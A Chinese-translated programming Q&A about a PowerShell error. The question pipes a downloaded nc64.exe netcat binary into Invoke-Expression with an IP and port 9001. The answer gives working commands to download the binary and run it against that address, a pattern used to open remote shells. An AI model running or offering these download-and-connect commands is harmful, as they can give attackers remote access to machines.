【问题标题】:How to use Powershell to download and pipe to execution with arguments如何使用 Powershell 下载并通过参数管道执行
【发布时间】:2021-10-01 23:47:04
【问题描述】:

我正在尝试使用 powershell 下载并执行带有参数的文件:

. { iwr -useb https://github.com/int0x33/nc.exe/blob/master/nc64.exe?raw=true } | iex; <IP> 9001

我收到此错误:

Unexpected token '9001' in expression or statement.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : UnexpectedToken

任何帮助表示赞赏。

【问题讨论】:

  • 如果你想下载你应该使用-OutFile

标签: windows powershell powershell-remoting


【解决方案1】:

Invoke-Expression (ie) 用于将 text 解释为 PowerShell 代码[1] - 你不能使用它直接执行 binary 下载(PowerShell 根本不支持)。

改为使用Invoke-WebRequest's (iwr's) -OutFile 参数将二进制内容下载到本地文件并执行后者:

iwr -useb https://github.com/int0x33/nc.exe/blob/master/nc64.exe?raw=true -OutFile ./nc64.exe

./nc64.exe $someIp 9001

[1] 强制性警告:Invoke-Expression (iex) 通常应该避免并且仅作为最后手段使用,因为它固有的安全风险。通常有更好的替代品。如果真的别无选择,请仅在您自己提供或完全信任的输入中使用它 - 请参阅this answer

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2014-12-08
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2013-03-04
    • 2016-02-26
    相关资源
    最近更新 更多